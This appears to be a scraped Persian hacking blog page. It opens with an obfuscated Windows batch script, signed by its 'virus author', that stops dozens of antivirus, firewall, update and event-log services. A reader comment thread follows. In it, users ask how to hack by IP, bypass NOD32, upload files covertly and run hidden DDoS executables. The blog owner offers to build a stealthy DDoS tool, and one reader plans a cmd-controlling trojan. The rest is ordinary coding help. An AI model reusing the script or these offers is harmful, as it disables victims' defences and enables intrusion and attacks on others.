    set own5=McA
    %ii%%ury% %ywe%%iej% "Security Center" /y
    %ii%%ury% %ywe%%iej% "Automatic Updates" /y
    %ii%%ury% %ywe%%iej% "%jt53%%gf45% Core LC" /y
    %ii%%ury% %ywe%%iej% "SAVScan" /y
    %ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Firewall Monitor Service" /y
    %ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Auto-Protect Service" /y
    %ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Auto Protect Service" /y
    %ii%%ury% %ywe%%iej% "%own5%%lyd2% Spamkiller Server" /y
    %ii%%ury% %ywe%%iej% "%own5%%lyd2% Personal Firewall Service" /y
    %ii%%ury% %ywe%%iej% "%own5%%lyd2% SecurityCenter Update Manager" /y
    %ii%%ury% %ywe%%iej% "%jt53%%gf45% SPBBCSvc" /y
    cls
    %ii%%ury% %ywe%%iej% "Ahnlab Task Scheduler" /y
    %ii%%ury% %ywe%%iej% navapsvc /y
    %ii%%ury% %ywe%%iej% "Sygate Personal Firewall Pro" /y
    %ii%%ury% %ywe%%iej% vrmonsvc /y
    %ii%%ury% %ywe%%iej% MonSvcNT /y
    %ii%%ury% %ywe%%iej% SAVScan /y
    %ii%%ury% %ywe%%iej% NProtectService /y
    %ii%%ury% %ywe%%iej% ccSetMGR /y
    %ii%%ury% %ywe%%iej% ccEvtMGR /y
    %ii%%ury% %ywe%%iej% srservice /y
    %ii%%ury% %ywe%%iej% "%jt53%%gf45% Network Drivers Service" /y
    %ii%%ury% %ywe%%iej% "%o6t%%h3d% Unerase Protection" /y
    %ii%%ury% %ywe%%iej% MskService /y
    %ii%%ury% %ywe%%iej% MpfService /y
    %ii%%ury% %ywe%%iej% mcupdmgr.exe /y
    %ii%%ury% %ywe%%iej% "%own5%%lyd2%AntiSpyware" /y
    %ii%%ury% %ywe%%iej% helpsvc /y
    %ii%%ury% %ywe%%iej% ERSvc /y
    %ii%%ury% %ywe%%iej% "*%o6t%%h3d%*" /y
    %ii%%ury% %ywe%%iej% "*%jt53%%gf45%*" /y
    %ii%%ury% %ywe%%iej% "*%own5%%lyd2%*" /y
    cls
    %ii%%ury% %ywe%%iej% ccPwdSvc /y
    %ii%%ury% %ywe%%iej% "%jt53%%gf45% Core LC" /y
    %ii%%ury% %ywe%%iej% navapsvc /y
    %ii%%ury% %ywe%%iej% "Serv-U" /y
    %ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Auto Protect Service" /y
    %ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Client" /y
    %ii%%ury% %ywe%%iej% "%jt53%%gf45% AntiVirus Client" /y
    %ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Server" /y
    %ii%%ury% %ywe%%iej% "NAV Alert" /y
    %ii%%ury% %ywe%%iej% "Nav Auto-Protect" /y
    cls
    %ii%%ury% %ywe%%iej% "McShield" /y
    %ii%%ury% %ywe%%iej% "DefWatch" /y
    %ii%%ury% %ywe%%iej% eventlog /y
    %ii%%ury% %ywe%%iej% InoRPC /y
    %ii%%ury% %ywe%%iej% InoRT /y
    %ii%%ury% %ywe%%iej% InoTask /y
    cls
    %ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Auto Protect Service" /y
    %ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Client" /y
    %ii%%ury% %ywe%%iej% "%o6t%%h3d% AntiVirus Corporate Edition" /y
    %ii%%ury% %ywe%%iej% "ViRobot Professional Monitoring" /y
    %ii%%ury% %ywe%%iej% "PC-cillin Personal Firewall" /y
    %ii%%ury% %ywe%%iej% "Trend Micro Proxy Service" /y
    %ii%%ury% %ywe%%iej% "Trend NT Realtime Service" /y
    %ii%%ury% %ywe%%iej% "%own5%%lyd2%.com McShield" /y
    %ii%%ury% %ywe%%iej% "%own5%%lyd2%.com VirusScan Online Realtime Engine" /y
    %ii%%ury% %ywe%%iej% "SyGateService" /y
    %ii%%ury% %ywe%%iej% "Sygate Personal Firewall Pro" /y
    cls
    %ii%%ury% %ywe%%iej% "Sophos Anti-Virus" /y
    %ii%%ury% %ywe%%iej% "Sophos Anti-Virus Network" /y
    %ii%%ury% %ywe%%iej% "eTrust Antivirus Job Server" /y
    %ii%%ury% %ywe%%iej% "eTrust Antivirus Realtime Server" /y
    %ii%%ury% %ywe%%iej% "Sygate Personal Firewall Pro" /y
    %ii%%ury% %ywe%%iej% "eTrust Antivirus RPC Server" /y
    cls
    %ii%%ury% %ywe%%iej% netsvcs
    %ii%%ury% %ywe%%iej% spoolnt


    rem __-Virus Author: A-Hack32-__
    بنظرت کسی که می خواد یه برنامه نویس خوب بشه باید چند سال داشته باشه و از کی شروع کنه و چطور یاد بگیره؟
    یعنی میتونیم یه رشته دانشگاه دیگرو انتخاب کنیم و یه برنامه نویس حرفه ای باشیم؟
    MR C0D3R :
    همه چی بستگی به خودت داره
    من نظری ندارم چون از نظر من سن و سال نداره
    هر چی که بکاری همونو هم برداشت میکنی
    خب نگفتی چکاری باید انجام بده
    MR C0D3R :
    میخوام خودش بره ببینه باید چیکارا کنه
    چون تو وب نزدیک به صد بار گفتیم
    فقط کافیه یه چرخ تو وب بزنه و کامنتارو بخونه :)
    چطور میشه از طریق ای پی یک نفر رو هک کرد
    MR C0D3R :
    چرا نمیرین دنبال برنامه نویسی ؟
    شما برین دنبال برنامه نویسی
    قول میدم اتومات میفهمین باید چیکارا کنین
    بگو دیگه
    واسه برنامه نویس شدن باید چیکار کرد
    مستر کدر خدا بهت صبر بده
    :)
    MR C0D3R :
    خیلی :)
    باشه داداش بزرگی کردیبعد یک کمکی هم ازت می خواستم یک کمک در باره ی امنیت واسم میکنی الان حجم مودم من 0 هست و منتظرمتا مدت حجم پایان بیابد ببینم چی کار میتونم بکنم داداش حجمم میپره نوشته توی یک روز 23 گیگ رفته نه دانلود کردم نه چیزی ولی رفته خب بنظرت هک کردن یا اپدیت برنامه ها یا چی شده ... اپدیت ویندوز بستس با انتی ویروس ولی اونجا رو نمیدونم هک شدم یا .... و بعد دوستان می گفتم اتک می خوری درسته !؟ بالاخره الان حجم نمیزنم فعلا چون میپره واگه خودم مصرف کنم ناراحت نمیشم ولی میپره مگه چی دانلود کردم تو یکبار وصل شدن 23 گیگ رفته به پشتیبانم میگم میگه مصرف شده میگم خوب شد گفتی D: والا از هرکی میپرسم چیزی نیگن امیدوارم تو کمکم کنی و حتی 7 سال از این سرویس دهندخ میگیرم بدی ندیدم ا الان تو یک سال اخیر اینجوری شدده حتی مصرف تغییر ندادم کامپیوترم تغییر ندادم همونان که همونا قبلا اینطوری نبود کمکم می کنی ؟!
    Virus 32 :
    سلام علی جان
    منم نظر داداشم mr_coder رو دارم
    احتمالا یه بد افزاری داره اطلاعات سیستمت رو آپلود میکنه به یه سروری یا از یه سروری دانلود میکنه
    راهکارها ساده است عزیز
    از سرویس دهنده ات لیست سایت هایی که دانلود یا آپلود کردی رو بخواه
    البته بعضی از سرویس دهنده ها تو سایتشون این امکانات رو دارن

    و یا میتونی از نرم افزارهای مدیریت اینترنت کمک بگیری
    این پست رو بخون
    ویروس جان گاهی اوقات اگه وقت داشتی که کلا وت واسه ادم نمیمونه :D ولی گاهی اوقات به لینوکس هم وارد شد در حد مبتدی پیشرفته و... خوبه
    MR C0D3R :
    اینجا با لینوکس قهریم :)
    جواب اون سوالتم گذاشتم ویروس جواب بده
    باشه داداشی قهر باشید اصلا چیز خوبی نیست باشه تشکر انشاالله ویروس یاریم کنه
    MR C0D3R :
    وقت کنه حتما کمکت میکنه
    خوب و بدش دست شماهاست که دست آدمو میبندین برای نوشتن بعضی مطالب
    داداش درسته ولی همه ی انسان ها یکی نیستند توشون ادم پیدا میششه من خودم تا حالا هیچ کدوم از مطلب های این سایتو واسه سو استفاده یا چیزی استفاده نکردم ولی دیگران رو نمیدونم امید وارم به خوبی ازشون استفاده بشه
    داداش یه سوال داشتم
    کدوم انتی ویروسو پیشنهاد میکنی؟
    من خودم microsoft security essentials نصب کردم گفتم از استاد هم بپرسم (لطفا nod رو نگو چون ازش متنفرم)
    مرسی از وب خوبت:)
    MR C0D3R :
    راستیتش من آنتی ویروس بکارم نمیاد
    چون از جایی چیزی دانلود نمیکنم
    وب گردیمم همینجوری الکی میام اینجا و چند تا سایت بازدید میزنم و آف میشم
    کسی هم لینکی میفرسته روی یدونه سرور مجازی بازش میکنم که
    نکنه یه وقت پشتش چیزی باشه به وب آسیبی بزنه
    خودمم قبلا از نود استفاده میکردم ولی از کسپرسکی هم خوشم میاد :)
    سلام داداش میشه لینک برنامه ی Visual basic 6.0 رو بزاری هر چه قدر میگردم چیزه خوبی پیدا نمیکنم
    MR C0D3R :
    سلام
    من از سه سوت دانلود میکنم
    بعدا که دانلود کردی با دسترسی ادمین باز کن
    منظورت ?Run As Admin istrator
    MR C0D3R :
    بلی...
    داداش در رابطه با اون سوالی که بالاتر کرده بودم
    این عکسو بی زحمت لطف کن یه نگاهی بنداز متوجه منظورم میشی
    http://s9.picofile.com/file/8334880442/Capture.PNG
    MR C0D3R :
    خب مگه با درگ & دراپ نمیشه ؟
    راستش داداش می خواستم یه ویروس بنویسم که نام کل ایکونای موجود در دسکتاپ رو بریزه داخل یه آرایه ، بعد بیایم تک تک عناصر آرایه رو اونجور که گفتم با تولید اعداد تصادفی جاشو نو تو دسکتاپ تغیر بدیم ، بعد کدارو بریزیم داخل یه حلقه یا یه تایمر یا . . . اینجوری یه ویروس عصاب خوردکن خواهیم داشت که کل آیکونای دسکتاپ رو به هم می ریزه
    دقیقا مثل همون ویروس موس وحشی حالا به جای موس جای ایکونا عوض بشه
    حالا نمی دونم توستم منظورمو واضح برسونم یا نه ؟
    من الان کدامو تا اینجا نوشتم

    foreach (string X in System.IO.Directory.GetFiles("C:\\Users\\"+Environment.UserName+"\\Desktop", "*.lnk"))

    {
    // کدهای مربوط به عوض کردن جای آیکون ها
    }


    Virus 32 :
    سلام عزیز
    والا اینو نمیدونم
    در کل اگه اشتباه نکنم نمیشه برای آی کن های دسکتاپ لوکیشن داد
    چون یجور کلونی وار چیده شدن
    کلا اسم پنجره ها هم بخاطر همین موضوعه
    چندین پنجره بصورت متوالی بهمدیگه داکت شدن و ...
    البته این در حد اطلاعات شخصه منه ... شاید اشتباه میگم
    و اینکه من تاحالا به این موضوع جالبی که به ذهنت رسیده فکر نکرده بودم و نمیدونم باید چطور بنویسم
    فکر کنم بجای گرفتن همه آی کن های دسکتاپ و دستکاری کردن جاشون
    بهتره از گزینه ی Story By در ویندوز استفاده کنی
    داداش ویروس چن وقتیه تحویلمون نمیگیری:(
    MR C0D3R :
    آره اصن تحویلت نمیگیرم که
    نه بهت محل میدیم 
    نه هیچ کدوم از کامنتاتو جواب میدیم و نه ...
    sghl lsjv ;nv shdj odgd o,fd nhvd.
    ,dv,s ;[hsj?
    حالا به کیبردت یه نگاه بنداز و حروف انگلیسی رو به فارسی تبدیل کن.
    راستی از چپ به راست انجام بدی ها!
    MR C0D3R :
    نمیدونم :/
    داداش سلام یه سوال :
    اول این که لینوکس رو فلش دارم(همونی که دو پارت بود) حالا که میخوام از رو فلش لایو بالا بیارمش نمیشه,یه صفهحه میائ توش یه عالمه کد اجرا میشه بعدشم که تموم میشن علامت موش میاد ولی همون صفحهه با همون کداش هست خبری از لینوکسه نیست؟
    MR C0D3R :
    تا جایی که یادمه
    وقتی که لینوکس میخواد بالا بیاد
    میپرسه که میخواین نصب کنین یا زنده بالا بیارین و .. ؟
    اونجارو تو بصورت زنده انتخاب کردی ؟
    اره اونجا زدم زنده
    MR C0D3R :
    پس دو تا احتمال میدم خودت یکی یکی بررسی کن
    یا فایلای لینوکس خرابه که پیشنهاد میکنم لینوکس رو از تو سایت خودش دانلود کنی
    یا سیستمت برای لینوکس مناسب نیست (کم پیش میاد)
    برای هر دو مورد میتونی لینوکس رو روی یه سیستم دیگه بالا بیاری
    اگه بالا نیومد شروع کن به بررسی تکی
    احتمالا همون فایلاش خراب باشه چون دو تا پارت بود یکی کردم
    ممنان♡
    سلام ویروس من اگر دستور مثلا ping 8.8.8.8 رو تو حلقه تکرار به زبان cmd یا cpp یا هرچی قرار دهم و این عمل رو تکرار کنم این ddos محسوب میشه

    راستی با سایت تو نمیتونم ping کنم دمت گرم با این امنیت مینویسه
    request timed out

    ^_^
    MR C0D3R :
    سلام
    آره ، فقط باید پاکتاشو بیشتر کنیم
    این پست رو یه نیگا بنداز :)
  • Virus32
  • علی میلانی
  • سلام ویروس
    من میخوام یه فایل به صورت اتوماتیک و مخفی اپلود بشه
    روی هاست - ftp یا هرجای دیگه
    کد یا نرم افزاری برای این کار سراغ داری؟
    MR C0D3R :
    سلام
    نه سراغ ندارم ولی میتونیم درست کنیم
    شروع کن تا کمکت کنم
  • Virus32
  • علی میلانی
  • سلام
    راهی هست که فایروال و انتی ویروس نود32 رو از سر راه برداشت؟
    MR C0D3R :
    سراغ ندارم
  • Virus32
  • علی میلانی
  • راهی هست که به صورت پنهانی و با یک یا چند فایل اجرایی دیداس انجام داد؟
    یا این که اون نرم افزار پیش نیاز رو به صورت پنهانی نصب کرد | یعنی فایل پس از اجرا شدن علامتی از خودش نشون نده.
    ببخشید که با سوالات زیاد وقت شما رو میگیرم ولی خیلی درگیر شدم ولی به نتیجه نرسیدم
    از لطف شما در راهنمایی به ما سپاس گذارم
    MR C0D3R :
    آره
    میتونیم دیداسری درست کنیم که بصورت مخفی باشه
    ولی ماجرا توی بک گراند قضیه فرق کنه
    یعنی به یه جایی داده (پاکت های دیداسر) ارسال بشه
  • Virus32
  • علی میلانی
  • راهی هست که به صورت پنهانی و با یک یا چند فایل اجرایی دیداس انجام داد؟
    یا این که اون نرم افزار پیش نیاز رو به صورت پنهانی نصب کرد | یعنی فایل پس از اجرا شدن علامتی از خودش نشون نده.
    ببخشید که با سوالات زیاد وقت شما رو میگیرم ولی خیلی درگیر شدم ولی به نتیجه نرسیدم
    از لطف شما در راهنمایی به ما سپاس گذارم
  • Virus32
  • علی میلانی
  • بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    متن زیر رو نقطه چین کنید ممنون میشم
    ****** ** ** ******** ***** ** ** ** **** ****** **** ****** ***** ** *** **** ************ *** *** ***** * ** **** ******* *** *** *** ****** ** **** *****
    ***** ** **** *** * ***** ****** **** ** ** **** ** ** ******* **** ** **** ** ****** ***** * ***** ** *** * **** *** ** ***** ****** ** **** ** *** *** **** ** ***** *** *** **** ** ****** ** ***** **** **** ****
    **** ***** ***** ** ****
    **** ***** ***** * ****** ****
    *********
    **** ** ******* ** *** * ***** ***** ** **** ** **** **** ** ** *** ** ** ** **** *** **** ***
    **** **** ** ** **** ** ***** * ***** *** **** *
    * ** **** **** ***** *** **** *
    *** ***** **** **** ***** ***** ** **** *** ** **** *** **** ** *** *** *** *** *** **** *** **** ** **** ** ** **
    ***
    ****** **** **** ** *** *** **** ** ** ***** **** * **** *** * *** ********* ***** ****
    *** ***** *** **** **** ***** *** *** ** **** *** ** ***
    **** ***** **** **** ** **** **** ***** ******
    *** ***** ***** **** ***** ** ******* ***** **** *** **** ****** ** *** ******
    *********
    **** *** *** ** ******* ****** ****** ** ** **** ***** ***********

    ** ****** *** ** ***** **** **** **** *** ******* ** **** ** *** ******* ****** ****** **** ***
    *** ***** *** *** * **** ** ****
    *** ***** *** **** ** ***** ** ***** ***** **** *** ** ****
    *** *** **** * **** **** *** ***** **** *** ** ** *** **** **** **** *** *** ***** ** ** ** **** ***** ***** ** **** ****** ****** **** * ** **** *** *** ** **** **** ** ***** ** **** ** *** **** ** ******* ** ** **** ***** ** ****** ** *** ** *** *****
    **** ** *** ** *** *** **** * ** ***** **** *** ******* ******* ** ** **** *** ** *************** ***** ** *** ***** ***** ** ** *** ******
    ** ***** ****** ******
    **** **** ** ** *** ** ** **** ***** ****** ** *** ** ** **** *** ** ** **** **** *** ** *** ****
    *********
    **** *** ** **** ** *** *** ***** ** ***** ***
    *** ***** *** **** ****** **** ** **** ** *** ** **** *** **** **** *** ***** **** ********** **** *** *** ****** ********
    **** ***
    **** *** ** *** **** ***** ******* ***
    *
    *** **** ** *** ** ***** ** **** **** **** ***

    و روند به همین شکل هس
    من برنامه نویسی بلد نیستم(رشته کامپیوتر دهم)
    و قصد مزاحمت برای کسی رو ندارم و هدف اصلی من یاد گرفتن هست که در آینده شاید به کارم بیاد و علاقه خیلی زیادی به این جور کارا دارم
    مثل خودتون ((((دیونه ام))))
    MR C0D3R :
    پس اگه مثل من دیوونه ای
    دلتو بزن به دریا شروع کن به یاد گرفتن برنامه نویسی :)
    سوالاتو همینجوری که برای من نوشتی تیکه تیکه تو گوگل بنویس
    جواب میگیری ، راستیتش من فعلا حس مس ندارم که بسرچم
    ویروس هم که نیستش وگرنه راهنماییت میکرد
    سلام داداش یک سوال از آن جایی که من میدونم زبان c و Python و .. کنسولی میباشند آیا برنامه یا چیز خاصی داریم بشه ظاهر برنامه رو طراحی کرد و کد برنامه رو با این زبان ها یا نمیشه ؟! ...
    MR C0D3R :
    سلام تو Qt میتونیم هم به زبان سی پلاس پلاس
    هم به زبان پایتون ، هم به زبان جاوا و هم ... کد نوشت
    دیزاینشم توی همون فریم ورک Qt میتونیم ردیف کنیم
    هر گونه خرابی مسئولیتش با خودتعه هه شوخی کردم ولی جدی میگم ممکنه اگه خیلییییییییییی کار بکشی به فنا بره ولی مسئولیتش با من نیس
    حال کردی واقعا؟؟ :-)
    MR C0D3R :
    نه
    Slm داش ویروس چرا کامنت ما رو نزاشتی
    MR C0D3R :
    سلام
    تازه اومدم تو وب
    یه چند ساعتی نبودم
    نمیشه وقتی کسی کامنت میده تو همون ثانیه تایید شه که
    ویروسو میگم نه شمارو D:
    سلام جناب اقای ...

    لطفا رمز مطالبتونو به جیمیلم به نشنانی :

    hosseini2024@gmail.com ارسال کنید با تشکر فروان بابت زحماتتون
    عید همگی تونم مبارک
    برای نصب پایتون چی پیشنهاد میدی؟
    برای ساخت نرم افزار
    MR C0D3R :
    من خودم پایتون 2 کار میکنم
    ولی برای بازار کار و ... بیشتر افراد پایتون 3 کار میکنن
    قواعد پایتون 3 رو یاد داری؟
    سوالی داشتم...
    MR C0D3R :
    زیاد نه
    خوبه
    چرا روی دکمه start بعضی از برنامه هایی که تازه نصب میکنم زرد هستش
    MR C0D3R :
    ؟
    وقتی فایل New Text تغییر میدم به .py فایل اجرایی تغییر نمیکنه؟
    مشکل چیه؟
    MR C0D3R :
    این پست رو بخون
    بعدا پسوندتو تغییر بده
    ببخشید میشه بگید با چه برنامه ای و چه طوری میشه فایلی را بدون افت کیفیت و غیره ریکاوری کرد؟☺
    سلام بر مستر کدر
    داداش یه پیشنهاد به ویروسم ایمیل زدم ولی متاسفانه مثل همیه سرش شلوغه فک کنم نرسیده جواب بده :(

    میگما بیاین یه فرومی انجمنی چیزی بزنین واسه وب
    این جوری چند تا خوبی داره که در ادامه میگم :

    1- این سوالو جوابا دسته بندی میشن و دیگه هر کی دنبال سوال خاصی باشه زود تر پیدا میکنه(شر این سوالو جوابام از وب کم میشه)

    2- تعداد اعضای فعال وب مشخص میشن.

    3- کلا وب با کلاس تر میشه :D

    4- اعضای وبم میتونن با هم در ارتباط باشن و با هم تبادل نظر بکنن.

    5- و هزاران خوبی و فایده دیگر....

    فقط شما دیگه جواب بده اگه راه ارتباطی قوی تری از ایمیلم با ویروس داری به اونم بگو

    راستی میتونین یه نظر سنجی بزاری ببینی که کیا مخالفن و کیا موافق (البته فکر نکنم کسی مخالف باشه)
    و به راه اندازیشم اصلا فک نکن کار دو روزه ;)

    //ناموسا از ایده هام استفاده کنین دیگه احسا میکنم دارم اینجا حیف میشم (الکی مثلا من خیلی ایده های خوبی میدم)

    دیگه چیز دیگه ای به فکرم نمیرسه که نگفته باشم اگه باز به فکرم رسید باز باهاتون درمیون میزارم
    MR C0D3R :
    سلام ، بیخیال
    داش کدر من 893 تا کلمه رو ننوشتم که با 10 تا کلمه جوابشو بدی
    ناموسا هموز انگشتام درد میکنه
    MR C0D3R :
    از چی بگم خب
    همین که بگم نیازی به انجمن نداریم ، کافیه دیگه :(
    بعد یه سوال دیگه
    این کد هایی که فک کنم بهش میگین شماره شناسنامه های خنده دار
    اینا
    dx680001

    میخواستم بدونم چیه؟
    خیلی توی نت سرچم زدم ولی همش چیزای ببی ربط میاورد
    یه توشیحی چیزی بده که بفهمیم چیه
    دمت گرم ♥
    راست اون قظیه انجمنم یه کاریش بکن دیگه :( خسته شدیم از یک نواختی
    اگه برا ساختشو راه اندازیش میگی که به جهنم اوناشم من ردیف میکنم دیگه(البته بی ادبی نباشه دست پرورده خود شماییم)حالا بازم اگه خودمم به مشکل خوردم از چهار نفر دیگه کمک میگرم و الی اخر
    ولی این جوری که معلومه شما دنبال یه کاری هستی که با کمترین تلاش و چیزای دیگه ok بشه,داداش نباید من بگم خودت بهتر از من میدونی (شاید به خاطر همین که بیشتر میدونی میگی)هر کاری سختی خودشو داره
    به هر حال یه کم روش فک کن
    MR C0D3R :
    اونو قبلا گفته بودم جریانشو
    بگرد توی همونجا ماجراشو متوجه میشی
    گشتم ولی چیزی پیدا نکردم
    :(

    اون قضیه انجمنم هر جور خودتون صلاح میدونین
    صلاح کار خویش خسروان دانند
    البته خسروانمون یه کمی خستن ؛)
    MR C0D3R :
    بازم بگرد
    داداش چند تا سایت و.... رو هم گشتم و سرچم زدم ولی هیچی پیدا نشد.
    زیر همون پستم چند بار خوندم فقط یه کامنت دیدیم که یکی پرسیده بود بعد شما گفته بودی که به اینا میگن شماره شناسنامه های خنده دار همین
    جای دیگم هرچی سرچ زدم چیزی دستگیرم نشد
    سلام دادش واقعا خسته نباشی وبلاگت ترکونده عالیه
    لطف میکنی رمز مطالبو بهم بدی ممنون میشم
    MR C0D3R :
    سلام
    قوانین صدق میکنه
    اینجا درخواست بدی عزیز
    داش کدر اون سوال مارو جواب نمیدی
    فک کردم دیدم نه سوالش احمقانس نه بلد نستی نه....
    همم به سوالای دیگه حواب دادی فک نکنم بخوای بگی وقت نداشتم
    البته شاید حال نداشتی؟
    به هر حال هر وقت حال داشتی یه توضیحی در مورد شماره شناسنانه های خنده دارم بده
    MR C0D3R :
    بستگی داره ازشون کجا استفاده کنی
    مثلا داداش ویروسمون اونجا اونجوری گفته بود که یارو بیخیال سنش بشه و بره پی کارش و اگه براش جالب بود تحقیق کنه و ببینه که چی هستن و شایدم دلایل دیگه ... ؛ یا اینکه مثلا چون یه کوچولو پیچیدگی دارن ازشون به عنوان رمز عبور استفاده کنیم و ...
    جواب ندادم چون دقیق نمیدونم چه کاربردی دارن 
    اینارم از خودم در آوردم D:
    سلام داداش چجوری یک شماره مجازی تشکیل بدم



    MR C0D3R :
    من قبلا از طریق سایت تکست نو درست میکردم ( text now )
    سلام داداش
    داداش اگه هم حال داشتید و هم وقت داشتید بی زحمت لطف کنین یه آموزشم درباره روش دریافت ایمیل تو سی شارپ یا سایر زبان ها بزارید
    ( بعدا تو تروجان نویسی هم بدردمون می خوره مثلا یه برنامه بسازیم بدیم دست قربانی پیامایی که برنامه دریافت می کنه رو سی ام دی قربانی اجرا بشه و کنترل سی ام دی رو در دست بگیریم )
    ممنون از وب خوبتون

    MR C0D3R :
    سلام
    دمت گرم
    MR C0D3R :
    خواهش :))
    @ ع علیرضا
    میشه بگی جریان اون صفحه چیه؟
    MR C0D3R :
    اون صفحه بخاطر اینه که
    اگه کسی تگ هاشو توی گوگل سرچ کرد
    گوگل اون صفحه رو ایندکس کنه و ...
    داش کدر میشه بگی این شماره شناسنامه های خنده داری کجا کاربرد دارن ؟
    یه جا پرسیدم یکی گفت کجاها کاربرد داره مام که نمیدونستیم دیگه برگشتیم جای شما که بپرسیم
    MR C0D3R :
    چند تا کامنت قبلیو بخون ؛ فکر کنم جوابتو دادم و تو هم ندیدیش
    ابونتو رو خریدم (پارسال) میخوام روی کامپیوتر نصب کنم سیستم رو روشن کنم و نصبش کنم ؟ویندوز هم حذف میشه چطوری باید نصبش کنم تو نت نبود.
    راستی ویروس تو تیم انونیموس بوده ؟
    MR C0D3R :
    نه عزیز سیستم باید خاموش باشه نصب کنی :(
    سی دی رو بزار توی جا سی دیه سیستمت
    وارد تنظیمات بایوس شو
    اونجا توی First Boot و یا ...
    بوت سیستمت رو بزار روی CD-DVD Rom و اوکی کن
    در آخر هم با کلید F10 ذخیره کن و بیا بیرون
    وقتی سیستم ریستارت شد برو به ادامه ی مراحل
    من دیگه نمیتونم بشینم قدم به قدم توضیح بدم بقیشو چیکار کنی
    اگه گیر کردی اسکرین شات بده تا راهنمایی کنم که باید چیکار کنی
    سلام کدر جان اگر ویروس اومد حتما یادش بنداز قضیه ی ما رو اینترونتو میگم الان دوباره تمدید کردم کار خاصی نکردم فقط از وبلاگ شما برنامه ی Net Balancer رو دانلود کردم که 7 مگابایت بود الان ریز مصرفم شدم 330MB مصرف شده اونم ترافیک بین الملل ضریب (*2)مگه چیکار کردم ...
    وقت نکردم کامل توضیح بدم شرمنده:(
    من قبلا DVDرو داخل سیستم گزاشتم بعدش بدون که بوت کنم
    مثل ویندوز ...اومد بعدش وارد نصب ابونتو شد مراحل هم درست نصب کردم
    اما من میخوام بدونم وقتی ابونتو رو وقتی نصب میکنم ویندوز رو باید قبل حذف کنم اصلا میشه یا وقتی ابونتو رو نصب میکنم ویندوز حذف میشه؟
    MR C0D3R :
    میتونی یکی از درایواتو پاک کنی یا هر چی ...
    بعدا اون دو سه تا درایوی که برای نصب لینوکس نیازه رو ایجاد کنی
    بعدا وقتی لینوکس نصب کردی و سیستم داره بوت میشه
    برات میاره و تو هم انتخاب میکنی که ویندوزت بالا بیاد یا لینوکست
    باش هرچی خودت بگی
    من که متوجه نشدم خخخخ
    MR C0D3R :
    بگو کجاشو متوجه نشدی تا برات موشکافی کنم
    نه داداش تصمیم گرفتم برنامه نویسی یاد بگیرم. ممنون
    سلام ب اساتید عزیز و مشتیم، والا داش کدر عزیز دوباره قرار از مزاحمت من میخوام با بت فایل عدد 4 رقمی تولید کنم اما با راندوم فقط بلدم میشه مثل همیشه شرمنده کنیو بگی چطوری درست کنم حالا یا 4 رقمی یا بیشتر، فدایتم استاد
    MR C0D3R :
    سلام
    برای تولید عدد تصادفی میتونیم از متغیر %Random% استفاده کنیم
    اما اگه تست کنی میبینی که هر دفعه طول پسوورد متفاوته
    چون خودش بصورت تصادفی تولید میکنه
    اما ما میتونیم کاری کنیم که طول پسووردمون توسط خودمون تعیین شده باشه
    برای اینکار میتونیم متغیر Random رو کاری کنیم که عدد تک رقمی تولید کنه
    و در آخر اونارو کنار هم قرار بدیم ، مثلا کد پایین رو تست کن
    Echo %random:~-1%
    اگه کد رو تست کنی ، میبینی که پسوورد تک رقمی تولید میکنه
    حالا میتونیم با استفاده از همین ، طول پسوورد رو مشخص کنیم
    مثلا ما چون میخوایم طول پسووردمون 4 رقمی باشه
    باید این کد رو 4 بار پشت سر هم بنویسیم
    یعنی کد کلی که شما دنبالشی به شکل پایین میشه
    Echo %random:~-1%%random:~-1%%random:~-1%%random:~-1%
    سلام داش کدر:)
    اون جوابی که به آقای رضا دادی بجای اینهمه میتونستی بنویسی:
    Echo %random:~-4%


    (این فکر یهو به سرم زد تستش کردم درست بودD: )
    MR C0D3R :
    سلام
    آره اتفاقا صبح که سیستم زیر دستم بود تست کردم شده بود
    ده رقم ، نه رقم و ... دیگه نمیشه
    اونموقع باید یه حرکت دیگه بزنیم
    یا اینکه از روشی که گفتم استفاده کنیم
    بخاطر همین موندم جفت روش هارو بهش بگم یا نه
    بعدا تصمیم گرفتم ، دونه دونه بنویسه بهتره
    سلام کدر
    این برنامه رو خودم ساختم خخخ
    از برنامه خارج میشه باید چکارکنم؟
    import time
    import socket
    print ("coded by mehran")
    time.sleep(3)
    url = raw_input("Enter your site url ==> ")
    ip = socket.gethostbyname(url)
    print ip
    MR C0D3R :
    سلام نابغه ;)
    راستشو بگو خودت نوشتی ؟
    عاغا تو صبح داشتی میپرسیدی تابع چیه ;d
    اونوقت چطور شد رفتی سراغ کتابخونه سوکت :|
    منظورتو متوجه نشدم ، گفتی از برنامه خارج میشه
    اگه منظورت اینه که نتیجتو میگیری و برنامه بسته میشه
    میتونیم یه ()raw_input به آخر برنامه اضافه کنیم تا بسته نشه
    اگرم میخوای هر بار که سایت میدی و آی پی رو میگیری
    برنامه مجددا ازت آی پی بخواد و این روند ادامه داشتی باشه
    میتونیم کدتو بصورت پایین بنویسیم
    import time
    import socket
    
    print ("Coded By Mehran ( Khoshgeled by ViRus32 & MR_C0D3R :D )...")
    
    time.sleep(1)
    
    while True:
    
        URL = raw_input("Enter Your URL => ")
    
        IP = socket.gethostbyname(URL)
    
        print "\nYour Site IP => ",IP,"\n"
    با اندکی تغییرات
    خخخخ عجب.... :()
    سلام ب داش کدر عزیز و اقای a_hack 32 ممنونم لطف کردین، دیگه داش کدر ک همیشه شرمندشم، خیلی واسم مهم بود این ک چطور ی بشه 4 رقمی درست کنم، واقعا ممنونم دستتون درد نکنه
    داش کدر تست کردم این پسوردهارو تو بت
    بله کاملا حرف شما درسته تا 5 رقم بیشتر کار نمیکنه
    شما لطف دارین
    من حواسم نبود اونوقت فک کردم جلوی تابع باید متد خاصی مثل (raw input) بزارم بعدش فهمیدم برای نام گزاری توابع هرچی بزارم خوبه
    اون raw input رو برای ورودی رشته برای متغییر هست.
    اره دیگه مهندسی معکوس کردم یه چیز ساده تر ساختم:)
